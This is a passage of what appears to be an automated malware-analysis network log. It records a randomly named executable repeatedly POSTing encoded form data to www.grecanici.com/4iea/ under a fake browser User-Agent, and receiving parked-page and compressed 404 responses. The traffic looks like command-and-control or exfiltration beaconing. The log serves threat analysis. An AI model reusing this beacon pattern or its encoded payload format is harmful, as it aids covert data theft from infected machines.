                                Data Ascii: 15f9<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head>... Google Tag Manager --><script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src='https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);})(window,document,'script','dataLayer','GTM-NP3MFSK');</script>... End Google Tag Manager --> <meta http-equiv="X-UA-Compatible" content="IE=EDGE" /><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><meta name="loopia-test" content="XsdXAIxha8q9Xjamck4H" /><title>Parked at Loopia</title> <link rel="apple-touch-icon" media="screen and (resolution: 163dpi)" href="https://static.loopia.se/responsive/images/iOS-57.png" /> <link rel="apple-touch-icon" media="screen and (resolution [TRUNCATED]
                                Jun 5, 2024 18:29:25.861207962 CEST1236INData Raw: 65 2f 72 65 73 70 6f 6e 73 69 76 65 2f 69 6d 61 67 65 73 2f 69 4f 53 2d 37 32 2e 70 6e 67 22 20 2f 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 6d 65 64 69 61 3d 22 73 63 72 65 65 6e 20
                                Data Ascii: e/responsive/images/iOS-72.png" /> <link rel="apple-touch-icon" media="screen and (resolution: 326dpi)" href="https://static.loopia.se/responsive/images/iOS-114.png" /> <meta name="viewport" content="initial-scale=1.0, maximum-scale =
                                Jun 5, 2024 18:29:25.861249924 CEST1236INData Raw: 74 6d 5f 6d 65 64 69 75 6d 3d 73 69 74 65 6c 69 6e 6b 26 75 74 6d 5f 73 6f 75 72 63 65 3d 6c 6f 6f 70 69 61 5f 70 61 72 6b 69 6e 67 77 65 62 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 70 61 72 6b 69 6e 67 77 65 62 26 75 74 6d 5f 63 6f 6e 74 65 6e
                                Data Ascii: tm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingweb&utm_content=whois">LoopiaWHOIS</a> to view the domain holder's public information.</p><p>Are you the owner of the domain and want to get started? Login to <a href="htt
                                Jun 5, 2024 18:29:25.861267090 CEST1236INData Raw: 74 22 20 70 6c 61 63 65 68 6f 6c 64 65 72 3d 22 46 69 6e 64 20 79 6f 75 72 20 64 65 73 69 72 65 64 20 64 6f 6d 61 69 6e 22 3e 0a 09 09 09 09 09 3c 62 75 74 74 6f 6e 20 69 64 3d 22 73 65 61 72 63 68 2d 62 74 6e 22 20 63 6c 61 73 73 3d 22 62 74 6e
                                Data Ascii: t" placeholder="Find your desired domain"><button id="search-btn" class="btn btn-search" type="submit"></button></form></div><h3>Get full control of your domains with LoopiaDNS</h3><p>With LoopiaDNS, you will be able
                                Jun 5, 2024 18:29:25.861306906 CEST848INData Raw: 72 6b 69 6e 67 77 65 62 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 70 61 72 6b 69 6e 67 77 65 62 26 75 74 6d 5f 63 6f 6e 74 65 6e 74 3d 73 69 74 65 62 75 69 6c 64 65 72 22 3e 43 72 65 61 74 65 20 79 6f 75 72 20 77 65 62 73 69 74 65 20 77 69 74 68
                                Data Ascii: rkingweb&utm_campaign=parkingweb&utm_content=sitebuilder">Create your website with Loopia Sitebuilder</a></li></ul></p><a href="https://www.loopia.com/hosting/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingw
                                Jun 5, 2024 18:29:25.861323118 CEST30INData Raw: 6e 74 20 2d 2d 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a
                                Data Ascii: nt --></body></html>0


                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                34192.168.2.74974435.214.235.206804300C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe
                                TimestampBytes transferredDirectionData
                                Jun 5, 2024 18:29:31.037743092 CEST705OUTPOST /4iea/ HTTP/1.1
                                Host: www.grecanici.com
                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                Accept-Encoding: gzip, deflate, br
                                Accept-Language: en-US,en;q=0.9
                                Connection: close
                                Content-Type: application/x-www-form-urlencoded
                                Cache-Control: no-cache
                                Content-Length: 215
                                Origin: http://www.grecanici.com
                                Referer: http://www.grecanici.com/4iea/
                                User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
                                Data Raw: 39 64 3d 47 4e 6e 7a 74 59 4e 4f 73 6c 59 31 48 73 51 52 4b 62 74 33 77 7a 4f 53 34 74 45 79 4a 2f 34 51 6c 69 52 47 75 76 33 52 47 6d 6f 4a 38 41 73 48 44 79 4d 44 50 49 66 30 6c 63 54 50 48 61 67 6a 45 76 54 67 37 58 46 4d 6d 32 4e 48 2f 79 74 61 62 77 70 31 78 6a 57 58 54 50 75 45 65 62 5a 66 6d 6a 74 6c 36 4c 47 4e 32 6b 67 39 30 46 71 2f 6e 73 6b 4e 47 44 6e 58 49 4d 2b 64 4a 39 78 41 57 44 6d 77 46 64 6c 38 55 41 58 51 32 30 32 36 34 51 6e 67 6d 54 31 75 6b 72 6b 4b 7a 33 6a 56 71 4e 38 6f 39 4d 38 34 43 4b 79 6b 65 31 33 30 49 6e 62 50 39 41 6e 61 33 2f 77 38 7a 54 66 34 63 6f 6c 4f 79 35 61 6c 54 68 4e 42 52 6b 65 49 4a 77 3d 3d
                                Data Ascii: 9d=GNnztYNOslY1HsQRKbt3wzOS4tEyJ/4QliRGuv3RGmoJ8AsHDyMDPIf0lcTPHagjEvTg7XFMm2NH/ytabwp1xjWXTPuEebZfmjtl6LGN2kg90Fq/nskNGDnXIM+dJ9xAWDmwFdl8UAXQ20264QngmT1ukrkKz3jVqN8o9M84CKyke130InbP9Ana3/w8zTf4colOy5alThNBRkeIJw==
                                Jun 5, 2024 18:29:31.862610102 CEST1236INHTTP/1.1 404 Not Found
                                Server: nginx
                                Date: Wed, 05 Jun 2024 16:29:31 GMT
                                Content-Type: text/html
                                Transfer-Encoding: chunked
                                Connection: close
                                Vary: Accept-Encoding
                                X-Httpd: 1
                                Host-Header: 8441280b0c35cbc1147f8ba998a563a7
                                X-Proxy-Cache-Info: DT:1
                                Content-Encoding: br
                                Data Raw: 33 37 32 30 0d 0a 55 57 47 21 8a 8a 5e 0f cb 0e 30 5c 93 7a 00 54 06 c6 ee 80 58 b6 e3 7a be fd ef 7b 7f 7e ce 7b 32 ba 85 43 da 67 69 87 c8 ff fc 32 2d 3b 3f ec 2c 57 31 51 3d 3d 40 c2 7d 41 01 94 ab fd ff b7 69 15 92 ec 01 74 67 1d ce 2e 87 1b 6f 04 00 31 71 de be ef bf f7 7b 7e 49 76 ef 97 e1 9c 92 ba fb 9c d2 a0 3c 28 37 da 0b 55 5f 55 35 65 b5 dd 2b 43 03 c1 20 c9 83 9e 45 0c 37 c9 19 c3 60 92 70 29 c8 82 0d 17 fe ff 7f ef e7 27 2d 87 8c 8c 3e 80 86 1f 21 87 84 52 06 50 be 67 cf b9 db 4f 69 8c e7 5c ce 6a 64 9b 09 1a dd b7 54 67 8f ea 9c d5 4c 0e 19 3b 63 dc 2a e2 74 19 f0 29 6b 03 46 d9 07 f2 d7 78 ad 79 5c df ed 3f 09 8a 05 01 f1 1a bc ff cb e4 3d 57 ec 60 d5 c1 c2 2f a9 f5 a7 60 93 c2 ff de d7 f7 5b fb 78 be e4 29 0d 08 2f 36 37 45 41 32 94 f9 e6 87 d5 83 9c 60 f6 2b e5 21 f1 d6 16 72 58 5c 49 f0 2f fe f4 ed 11 7f d0 b1 b8 b2 80 88 a4 c3 b6 5e 4c 64 9a 95 ff bb 16 43 b6 4e f2 c0 10 62 82 da 38 49 c0 c0 6f bf 93 1a 84 b4 f7 c5 d9 ed e3 37 38 8c 6c db b6 fd fa 8d 1c 85 0d de 7f 8a 8b b3 cf cf [TRUNCATED]
                                Data Ascii: 3720UWG!^0\zTXz{~{2Cgi2-;?,W1Q==@}Aitg.o1q{~Iv<(7U_U5e+C E7`p)'->!RPgOi\jdTgL;c*t)kFxy\?=W`/`[x)/67EA2`+!rX\I/^LdCNb8Io78lw^2gD1bAxV:6b7/g_[zYpoo/&7uP"M_*w`'K(%s-?EOZ&H~;}}|@Jfo|E9V9*\pV_3~79do#+7oon:@M86?Nn}=pe7YXB2Gr]9>Nw?pfcqov D{bVBH8MC2&2S\~W|oO 9lQR|@1azCTnkj&KS`_@,JjOhed&y:7yyiINhYU_G~6`aa/e0SAti|$uy
                                Jun 5, 2024 18:29:31.862623930 CEST1236INData Raw: 0e 5f 12 82 a3 d0 99 8c cf 43 95 b8 7d b8 f0 6f d9 d2 6b c4 18 5d b7 b8 32 40 26 52 58 39 69 5d c2 5f a9 d4 c1 e1 67 03 49 e6 6f 9d ad f9 b8 25 93 d9 bf c4 f1 b3 56 d6 87 6f 7f 45 69 3d 53 0a 69 8c 72 58 1e 7b 2a db 55 1b 17 f7 09 25 90 8e 3c 93
                                Data Ascii: _C}ok]2@&RX9i]_gIo%VoEi=SirX{*U%<RZ\PcU4>a<\$&9:R^_-Xmew}Zo:keI66X2"rcV-K3x<k7oS-kl7gWT
                                Jun 5, 2024 18:29:31.862629890 CEST1236INData Raw: cf d8 46 5c 02 d1 30 72 cb d5 bd ca f5 95 06 99 08 ec 95 2e d5 34 fe ed c5 a2 a0 52 e7 2b b3 b7 bd 6c 75 49 97 93 0f e7 12 b8 ed 51 25 31 d5 f1 91 32 60 54 52 0b f9 ce 5b d4 8e 18 25 53 b3 d6 5c b0 6c fc 35 c0 d4 31 c8 31 4c fb 5b 5e 19 c0 d4 f4
                                Data Ascii: F\0r.4R+luIQ%12`TR[%S\l511L[^:zl5Iu^3I-$}j4~6d;RE0`yHO*L_kc`VTv3U*Mb4P~2QB)xQd1T#q\AUJa22
                                Jun 5, 2024 18:29:31.862679005 CEST1236INData Raw: 4c fa 4f f3 25 b5 76 6b 4a fc ca fc dd dd d3 78 2d fa 57 cc 48 0d dd 57 f7 7a b7 fa cb 6a 91 13 de 7d 81 8c 19 df b5 cc f7 dc 97 d5 d8 a6 fc 6b b8 38 96 35 e3 36 cc bb d5 af e4 ed cd 7d 35 ef f6 2b 11 9c c3 d6 3b 30 76 fc c7 4a eb 9f 23 c7 79 09
                                Data Ascii: LO%vkJx-WHWzj}k856}5+;0vJ#y0;As<q;n~Asj]u:,{d4jQo??;~.{/D&f6}t_`vUiU7B04nGY$c'#ZkN
                                Jun 5, 2024 18:29:31.862687111 CEST1236INData Raw: a4 35 7b a4 d6 23 7e 3f 95 64 2f 42 a5 dc b7 73 7b fc 63 e3 02 ac 7e 99 eb 5a 19 23 b9 1e 27 d6 47 fb b0 a6 81 54 33 43 aa 92 b1 c5 60 a8 ab 54 d2 44 a6 99 21 55 cb d0 82 91 2e 92 61 22 d1 48 0a 23 ab 81 40 57 8b 1a c8 33 92 c2 c4 6a a8 38 57 a9
                                Data Ascii: 5{#~?d/Bs{c~Z#'GT3C`TD!U.a"H#@W3j8Wx| Hq\-i x2ofYLK23ZaXD!T3`!9&MH40:*L#PRG~*^ofYKV!A%MB5@a@
                                Jun 5, 2024 18:29:31.862804890 CEST1236INData Raw: 48 f2 18 10 02 06 68 2f 48 95 b4 2f 02 60 25 7a de 68 2e c8 13 b4 af 2f 76 c3 6f 17 ff 54 fc 52 c1 81 71 e7 5f 76 64 18 18 04 30 4c 05 c0 90 e0 30 50 03 88 21 00 0c 09 0e 03 05 50 62 30 00 73 0d f2 04 ed df fd f2 67 90 a5 c0 5a 83 24 b7 da bf f5
                                Data Ascii: Hh/H/`%zh./voTRq_vd0L0P!Pb0sgZ$wIWD@$)1 ^*i_+O\Uq4~A.?C@@Hh/H/$*4ppWJw$)1 ^*i_P$*4
                                Jun 5, 2024 18:29:31.862812042 CEST1236INData Raw: c8 1e df 29 fb 29 e8 ef fb 7f d0 4b e7 f3 4f 93 cc 67 b4 a0 01 f8 e4 34 69 40 cc 10 6a 09 0e a1 58 d2 84 98 21 54 13 10 48 8e 09 21 01 d1 01 b4 a8 01 21 01 d1 51 50 2c 1a 06 84 04 40 03 d0 92 76 54 67 ad 1d 27 3e 40 dc 6c 5d f1 5d 7d 15 fc d3 1f
                                Data Ascii: ))KOg4i@jX!TH!!QP,@vTg'>@l]]}r&}v7[QU>Z:>q!3RCV2L[bR$H@t@h]4@M`J{yf|6s{|M,{_!W4SP3C%8bI|@55@5hZt+K
                                Jun 5, 2024 18:29:31.862819910 CEST1236INData Raw: d2 7a d9 f3 5b 9a 29 67 53 f9 4b da 43 53 1a 59 4b 7b 25 79 50 91 6e 22 bf d9 b6 09 f9 56 3c 5b e8 c1 b0 c4 66 45 b0 e7 a8 60 4b b5 85 96 e3 4b f7 ac 81 8e 63 4a 43 41 1b 4a 6c 38 48 96 91 7e 53 52 74 3b f5 8a b4 5b 45 b6 4c 74 9b 12 b0 9b 84 66
                                Data Ascii: z[)gSKCSYK{%yPn"V<[fE`KKcJCAJl8H~SRt;[ELtf#cZ4@Q-[B9-5e<hx!k"5 HH4$3!%"fLH@[SI;z-'=`dS)6'b=9E,)#k@hzI gBJDh
                                Jun 5, 2024 18:29:31.862996101 CEST1236INData Raw: 8f 75 70 57 c3 7f 0d 56 a7 5e 25 af c4 ec 54 01 ff 78 62 3f 26 64 3e e6 d0 bf 47 db 98 ac 6f c9 76 db d1 2a 0b e3 b5 e5 29 ea 6e 2f 84 ee 3b 78 e4 fb 87 e5 7d 95 e8 b7 6e 5b 31 5e 72 b7 83 6a 86 04 66 0b bb 2b f3 f5 da 6a 1d cf 95 c4 8f b8 cf 01
                                Data Ascii: upWV^%Txb?&d>Gov*)n/;x}n[1^rjf+j{*{owG(9;2iFVy}~|=R\is8M<{OOr2+78{[StkM5xLPckLHUtaI6HfTCNd!).5,K
                                Jun 5, 2024 18:29:31.863003969 CEST1236INData Raw: 5f 40 ce a0 99 ac 06 ed 28 8c a8 7d 21 11 10 90 e0 98 90 02 90 5e af 20 a2 63 40 0a 04 a4 30 93 61 40 0a a4 68 43 61 24 ed cb 19 0b 2b 41 bf 5e 58 2a 3a 76 a5 1f ac 05 ed 28 8c a8 7d 79 9e 14 3c c3 0a ed 28 3c c5 1a b5 2f 67 80 d5 a0 1d 85 11 b5
                                Data Ascii: _@(}!^ c@0a@hCa$+A^X*:v(}y<(</g/$RDtHf2Hm(}9ca%KE/<tgz+\Qxv<j_zR R E#i_XXR+`-hGaDt'6RrPfiCB
                                Jun 5, 2024 18:29:31.867686033 CEST1236INData Raw: 2b 9c 5b c4 b8 85 49 24 3e fa eb 34 1d 21 14 bd 45 2f 70 90 fb 31 90 bf b5 9b b4 20 e8 21 3f 92 6a ab 67 c8 d0 b4 1c 3d 2e c5 9c a2 f2 2f a3 75 ac ad 0d 2a 76 09 49 0a 8b 0f 41 0a c1 0c 83 d7 0a 25 c8 3b 77 f6 4f 25 b5 c1 26 45 ff 1a b4 b3 41 7b
                                Data Ascii: +[I$>4!E/p1 !?jg=./u*vIA%;wO%&EA{|{8b1d1r=Uy1MO?OuYw>?PK}bRI:>s9|CO!`,y'C/U 'WvP|x}',p(N7t6(S=!t[


                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                35192.168.2.74974535.214.235.206804300C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe
                                TimestampBytes transferredDirectionData
                                Jun 5, 2024 18:29:33.573555946 CEST725OUTPOST /4iea/ HTTP/1.1
                                Host: www.grecanici.com
                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                Accept-Encoding: gzip, deflate, br
                                Accept-Language: en-US,en;q=0.9
                                Connection: close
                                Content-Type: application/x-www-form-urlencoded
                                Cache-Control: no-cache
                                Content-Length: 235
                                Origin: http://www.grecanici.com
                                Referer: http://www.grecanici.com/4iea/
                                User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
                                Data Raw: 39 64 3d 47 4e 6e 7a 74 59 4e 4f 73 6c 59 31 47 4d 67 52 4e 34 46 33 68 6a 4f 52 7a 4e 45 79 66 50 34 63 6c 69 74 47 75 71 48 2f 46 54 41 4a 35 52 63 48 43 33 67 44 49 49 66 30 71 38 54 4b 4b 36 67 38 45 76 4f 58 37 56 68 4d 6d 79 6c 48 2f 7a 64 61 62 6e 46 30 7a 7a 57 56 66 76 75 47 61 62 5a 66 6d 6a 74 6c 36 4c 53 6e 32 6c 45 39 30 31 36 2f 6d 4e 6b 4d 46 44 6e 55 59 73 2b 64 59 74 77 48 57 44 6e 6a 46 59 39 61 55 47 62 51 32 32 65 36 34 68 6e 76 74 54 31 6f 72 4c 6c 5a 79 46 69 35 6d 64 6b 63 6e 64 6b 31 4b 4e 75 7a 62 44 71 57 53 46 58 6a 6a 52 66 68 7a 39 55 4b 6b 31 43 4e 65 70 68 57 2f 62 75 45 4d 57 6f 72 63 32 2f 4d 66 49 61 34 6b 55 35 73 4a 78 53 6a 56 6e 76 54 44 33 6e 63 45 41 59 3d
                                Data Ascii: 9d=GNnztYNOslY1GMgRN4F3hjORzNEyfP4clitGuqH/FTAJ5RcHC3gDIIf0q8TKK6g8EvOX7VhMmylH/zdabnF0zzWVfvuGabZfmjtl6LSn2lE9016/mNkMFDnUYs+dYtwHWDnjFY9aUGbQ22e64hnvtT1orLlZyFi5mdkcndk1KNuzbDqWSFXjjRfhz9UKk1CNephW/buEMWorc2/MfIa4kU5sJxSjVnvTD3ncEAY=
                                Jun 5, 2024 18:29:34.400929928 CEST1236INHTTP/1.1 404 Not Found
                                Server: nginx
                                Date: Wed, 05 Jun 2024 16:29:34 GMT
                                Content-Type: text/html
                                Transfer-Encoding: chunked
                                Connection: close
                                Vary: Accept-Encoding
                                X-Httpd: 1
                                Host-Header: 8441280b0c35cbc1147f8ba998a563a7
                                X-Proxy-Cache-Info: DT:1
                                Content-Encoding: br
                                Data Raw: 33 37 32 30 0d 0a 55 57 47 21 8a 8a 5e 0f cb 0e 30 5c 93 7a 00 54 06 c6 ee 80 58 b6 e3 7a be fd ef 7b 7f 7e ce 7b 32 ba 85 43 da 67 69 87 c8 ff fc 32 2d 3b 3f ec 2c 57 31 51 3d 3d 40 c2 7d 41 01 94 ab fd ff b7 69 15 92 ec 01 74 67 1d ce 2e 87 1b 6f 04 00 31 71 de be ef bf f7 7b 7e 49 76 ef 97 e1 9c 92 ba fb 9c d2 a0 3c 28 37 da 0b 55 5f 55 35 65 b5 dd 2b 43 03 c1 20 c9 83 9e 45 0c 37 c9 19 c3 60 92 70 29 c8 82 0d 17 fe ff 7f ef e7 27 2d 87 8c 8c 3e 80 86 1f 21 87 84 52 06 50 be 67 cf b9 db 4f 69 8c e7 5c ce 6a 64 9b 09 1a dd b7 54 67 8f ea 9c d5 4c 0e 19 3b 63 dc 2a e2 74 19 f0 29 6b 03 46 d9 07 f2 d7 78 ad 79 5c df ed 3f 09 8a 05 01 f1 1a bc ff cb e4 3d 57 ec 60 d5 c1 c2 2f a9 f5 a7 60 93 c2 ff de d7 f7 5b fb 78 be e4 29 0d 08 2f 36 37 45 41 32 94 f9 e6 87 d5 83 9c 60 f6 2b e5 21 f1 d6 16 72 58 5c 49 f0 2f fe f4 ed 11 7f d0 b1 b8 b2 80 88 a4 c3 b6 5e 4c 64 9a 95 ff bb 16 43 b6 4e f2 c0 10 62 82 da 38 49 c0 c0 6f bf 93 1a 84 b4 f7 c5 d9 ed e3 37 38 8c 6c db b6 fd fa 8d 1c 85 0d de 7f 8a 8b b3 cf cf [TRUNCATED]
                                Data Ascii: 3720UWG!^0\zTXz{~{2Cgi2-;?,W1Q==@}Aitg.o1q{~Iv<(7U_U5e+C E7`p)'->!RPgOi\jdTgL;c*t)kFxy\?=W`/`[x)/67EA2`+!rX\I/^LdCNb8Io78lw^2gD1bAxV:6b7/g_[zYpoo/&7uP"M_*w`'K(%s-?EOZ&H~;}}|@Jfo|E9V9*\pV_3~79do#+7oon:@M86?Nn}=pe7YXB2Gr]9>Nw?pfcqov D{bVBH8MC2&2S\~W|oO 9lQR|@1azCTnkj&KS`_@,JjOhed&y:7yyiINhYU_G~6`aa/e0SAti|$uy
                                Jun 5, 2024 18:29:34.400949001 CEST212INData Raw: 0e 5f 12 82 a3 d0 99 8c cf 43 95 b8 7d b8 f0 6f d9 d2 6b c4 18 5d b7 b8 32 40 26 52 58 39 69 5d c2 5f a9 d4 c1 e1 67 03 49 e6 6f 9d ad f9 b8 25 93 d9 bf c4 f1 b3 56 d6 87 6f 7f 45 69 3d 53 0a 69 8c 72 58 1e 7b 2a db 55 1b 17 f7 09 25 90 8e 3c 93
                                Data Ascii: _C}ok]2@&RX9i]_gIo%VoEi=SirX{*U%<RZ\PcU4>a<\$&9:R^_-Xmew}Zo:keI66X2"rcV-K3x
                                Jun 5, 2024 18:29:34.400973082 CEST1236INData Raw: 96 d9 3c eb ec b7 9c 6b c5 eb 37 6f 53 2d f3 6b 8e fb a3 6c 37 17 67 57 93 8a 1a a7 54 b0 ce 51 04 5e 42 d5 bf 47 26 26 59 c8 c8 a5 8a 51 7b c7 ad 6a 49 60 5a 74 58 ed e5 a4 41 87 b4 46 4b 96 b3 d4 0c 0d 68 42 ef 9a 80 67 d0 30 72 81 1c 07 5e 54
                                Data Ascii: <k7oS-kl7gWTQ^BG&&YQ{jI`ZtXAFKhBg0r^T-1[jsZl?[v13(ymOTO:nh!dJ;.=\w |(]X>*h2f5RU/)z@kHTQQs
                                Jun 5, 2024 18:29:34.400985003 CEST1236INData Raw: b8 ea d1 31 13 54 23 71 5c b3 04 a2 e5 8a 41 a7 55 4a 61 fd 06 12 b1 32 c1 d2 09 9c 32 c1 d5 80 4b 41 82 7d 65 93 5c ea 8e a6 9b c2 48 cd 44 d2 2b c1 1a af 4d d8 62 7e 85 58 af df 19 33 9a 52 a6 e3 da 5d 49 3c 98 ab 0b d5 43 86 c3 2c 65 1c 27 4d
                                Data Ascii: 1T#q\AUJa22KA}e\HD+Mb~X3R]I<C,e'MX8mt4?xI.s~MM}<LA</w;Lmc<l=j,wg6z9rX1p2T*$./S$9a]){,Md^&9#
                                Jun 5, 2024 18:29:34.401006937 CEST1236INData Raw: e1 24 63 08 1f 85 1b a2 0a ff d1 c4 0d 27 8f aa 23 15 5a 6b 1a ae f3 d5 4e 1e 8a e9 0a d7 1a 87 b2 ca 73 72 50 f9 54 a4 d9 4e d7 a3 81 bc 61 bf 54 67 fa b0 ac 3f 85 b9 18 a8 74 32 59 26 22 83 4c a8 c0 47 09 87 54 09 8f a8 50 7b ec a0 c3 a1 90 8e
                                Data Ascii: $c'#ZkNsrPTNaTg?t2Y&"LGTP{HQ@ *$p(JD(%'p<'"M"ds+Vla9A6@z2%`'}a`Pjt3DQd'$8]aQ3+8&-"
                                Jun 5, 2024 18:29:34.401066065 CEST636INData Raw: a1 96 e0 10 8a 25 4d 88 19 42 35 01 81 e4 98 10 12 10 1d 40 8b 1a 10 12 10 1d 05 c5 a2 61 40 48 00 34 00 2d e9 01 ea 3b 80 cb fa 94 82 fb da 2e 68 9b 5b e1 bf 5d ae b2 9e 6e 7c fd b4 d0 9a eb 22 1c 77 29 5f 62 d7 90 4b dc 90 fd ff b6 2d 64 ca 41
                                Data Ascii: %MB5@a@H4-;.h[]n|"w)_bK-dA:(;Q-pj@kBR;&]04Cu*.8N*IsehC[~`X,i n`X!18hG[~CkX,sR-i z,kV3ZC(4!f
                                Jun 5, 2024 18:29:34.401087046 CEST1236INData Raw: 80 77 5f ac 0e 88 2e 0f 29 8e fe dc bb de f2 33 ba cf 6b 56 eb 07 9a 8e fd 6a 2f f2 c9 f5 be 6c 76 41 5b b3 59 bf a3 ba 13 c7 ef b4 ef d6 fc 84 63 cb 83 63 b7 db 95 ef 42 d5 f1 51 5e ff 7e 9d f9 e2 ee 9e c4 b6 b0 b8 cb 63 a7 d7 63 8b 8a 4b fd db
                                Data Ascii: w_.)3kVj/lvA[YccBQ^~ccK@{WR;9>4G3wf8~W]|Os7O\;"CHB}=%%!USR-:v=zUo[p+za9&>Bhi6p$yL,A
                                Jun 5, 2024 18:29:34.401149988 CEST212INData Raw: 73 92 27 68 e0 06 10 c0 49 22 00 4e 08 f6 81 8e 2c 44 27 1c d0 26 a7 7d dd 27 8f a4 fd 16 5a e6 e7 b8 2b cc ea 15 9a 0b 8e a0 7d 11 00 a4 01 ec 40 9e a0 01 11 00 24 02 00 08 f6 01 21 00 d0 5e 70 24 8d 89 a6 66 a0 6f 59 fb ea 69 e6 48 e6 fd 96 66
                                Data Ascii: s'hI"N,D'&}'Z+}@$!^p$foYiHf}@$!^p$yyczr?,*{MV:EyD @{/Dh_'?t xA-
                                Jun 5, 2024 18:29:34.401160002 CEST1236INData Raw: 5c 0b bc 38 82 f6 97 77 31 47 48 71 d5 c4 62 15 90 d6 aa 2d 8e 60 de 17 01 50 59 28 1f cc 94 16 69 82 7d 40 04 40 e5 a1 7a 80 ca 82 60 1f 10 82 82 e2 d1 5c 85 c5 91 ec fb 42 50 50 3c 9a 57 5d 91 26 69 5f 08 8a aa 1d ad 55 56 1c c1 bc 2f 27 16 39
                                Data Ascii: \8w1GHqb-`PY(i}@@z`\BPP<W]&i_UV/'9dHXMe.=h%.&'$eDND:I`x8940hI;/W))KOg4i@jX!TH!!QP,@vTg
                                Jun 5, 2024 18:29:34.401220083 CEST1236INData Raw: 2d d9 bb 32 0c be f3 d8 9f 48 d7 a5 42 88 ec a9 35 66 f4 4e 33 cc ff f2 b4 1e e1 f0 c4 ef 56 5e 93 4a a2 67 2d 31 53 f0 d8 f4 70 33 de ce 84 ff f8 ff 4a 3a 8c 2b a3 65 ad 30 a3 0f 04 8f eb ce 64 c7 17 9c 8f f3 d7 5b 12 8a 4f ee 0d 8e b5 c2 8c 8e
                                Data Ascii: -2HB5fN3V^Jg-1Sp3J:+e0d[O}s~O{?F#k'vVCWmLIJ=t4*+%y*hzIl++h)h]iD-_z[)gSKCSYK{%yPn"V<[fE`KKcJCAJl8H~SRt
                                Jun 5, 2024 18:29:34.406172991 CEST1236INData Raw: ae af d6 33 7d ff 9f 31 76 82 f5 2c 4c fe 43 cc 31 7c e0 fb c7 7f 50 cc 7f 7a a3 61 3d 72 13 4b 4c 3c 88 12 f3 f6 b6 85 cd 78 60 1a 82 69 d6 01 2a 0b 09 1f 15 13 49 a8 8b 10 8f 24 6b 05 39 c8 12 6d 20 05 75 29 08 66 86 b5 80 0c 24 5a 96 6c 27 a0
                                Data Ascii: 3}1v,LC1|Pza=rKL<x`i*I$k9m u)f$Zl'B8%K?;9rW+W'<Nn{uq#es!=RMMbl-.qmupWV^%Txb?&d>Gov*)n/;x}n[1^rjf


                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                36192.168.2.74974635.214.235.206804300C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe
                                TimestampBytes transferredDirectionData
                                Jun 5, 2024 18:29:36.115288019 CEST1738OUTPOST /4iea/ HTTP/1.1
                                Host: www.grecanici.com
                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                Accept-Encoding: gzip, deflate, br
                                Accept-Language: en-US,en;q=0.9
                                Connection: close
                                Content-Type: application/x-www-form-urlencoded
                                Cache-Control: no-cache
                                Content-Length: 1247
                                Origin: http://www.grecanici.com
                                Referer: http://www.grecanici.com/4iea/
                                User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
                                Data Raw: 39 64 3d 47 4e 6e 7a 74 59 4e 4f 73 6c 59 31 47 4d 67 52 4e 34 46 33 68 6a 4f 52 7a 4e 45 79 66 50 34 63 6c 69 74 47 75 71 48 2f 46 56 59 4a 35 48 6f 48 44 55 59 44 4a 49 66 30 6a 63 54 4c 4b 36 67 78 45 76 57 62 37 56 74 32 6d 77 64 48 2b 52 56 61 4b 6c 39 30 35 7a 57 56 58 50 75 44 65 62 5a 47 6d 6e 4a 66 36 4c 43 6e 32 6c 45 39 30 7a 2b 2f 68 63 6b 4d 4b 6a 6e 58 49 4d 2b 72 4a 39 77 6a 57 43 50 7a 46 59 78 73 54 32 37 51 32 57 75 36 72 6a 2f 76 76 7a 31 71 2f 72 6b 65 79 46 75 6d 6d 64 34 68 6e 64 52 69 4b 4b 43 7a 5a 6b 48 50 4a 55 37 43 67 52 4c 69 37 75 63 62 7a 6e 79 4d 48 34 77 76 67 38 43 45 4e 46 68 55 63 33 53 41 4b 73 66 4d 39 47 46 43 57 51 48 36 46 67 69 36 57 56 62 61 65 48 31 4d 33 45 49 31 51 2f 6e 6f 6d 54 4a 39 47 36 36 6c 74 66 6b 4e 61 42 6b 58 62 75 42 59 67 4e 4d 53 68 44 50 74 36 67 47 72 33 56 72 70 38 54 31 6d 35 32 62 2b 4a 79 74 37 50 78 42 67 74 46 78 4d 4f 70 73 73 46 64 77 38 36 47 47 37 33 52 41 52 58 39 33 59 6d 48 61 63 6f 46 74 48 53 